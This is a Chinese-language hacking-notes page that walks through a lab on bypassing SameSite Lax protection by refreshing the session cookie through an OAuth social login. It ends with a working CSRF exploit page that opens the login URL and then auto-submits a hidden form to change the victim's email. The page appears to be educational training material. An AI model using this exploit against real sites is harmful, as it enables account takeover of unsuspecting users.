> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/csrf/samesite-lax-bypass-via-cookie-refresh.md).

# 通过 Cookie 刷新绕过 SameSite Lax

### 通过 Cookie 刷新绕过 SameSite Lax

该应用的电子邮件修改功能存在 CSRF 攻击漏洞。实验的目标是通过在提供的利用服务器上托管演示，强制修改受害用户的电子邮件地址。

<figure><img src="/files/2fa48587a6ad6f3755223a6316b938ed665aac81" alt="" width="563"><figcaption></figcaption></figure>

该实验支持通过外部提供方进行 OAuth 身份验证。你可以使用给定的标识符（`wiener:peter`）进行连接。在身份验证过程中，会使用不同域名下的页面进行 OAuth 识别。

<figure><img src="/files/274d41341b540d2f32b8bc94ba1b973289fd897d" alt="" width="553"><figcaption></figcaption></figure>

`你已成功使用你的社交媒体账户登录`

* 通过社交提供方连接后，答案包含一个认证 cookie，其 `SameSite` 属性设置为 `宽松`.

<figure><img src="/files/b57d84e9feabb2ecccc1cb532ca48405d6a9f136" alt=""><figcaption></figcaption></figure>

如果你登出，然后在不重新输入密码的情况下重新启动认证流程，会重置会话：会签发一个 **新的** 会话 cookie。

* → 实际上，这意味着如果用户点击了“logout”，他们就必须再次点击“ login”，才能被重定向到站点并获取新的会话 cookie。
* 由于在通过第三方域名进行身份验证时存在这种 cookie“刷新”行为，因此可以考虑这样一个流程：对身份验证页面的初始请求允许恢复/建立会话 cookie，然后第二个动作（客户端）触发修改用户账户中电子邮件的请求。

```html
<form class="login-form" name="change-email-form"
      action="https://0a6100a60304c671804803f0005200d7.web-security-academy.net/my-account/change-email"
      method="POST">
  <input type="hidden" name="email" value="hacked@byjordan" />
</form>

<script>
  window.open("https://0a6100a60304c671804803f0005200d7.web-security-academy.net/social-login", "_blank");
  setTimeout("document.forms['change-email-form'].submit()", 5000);
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/csrf/samesite-lax-bypass-via-cookie-refresh.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.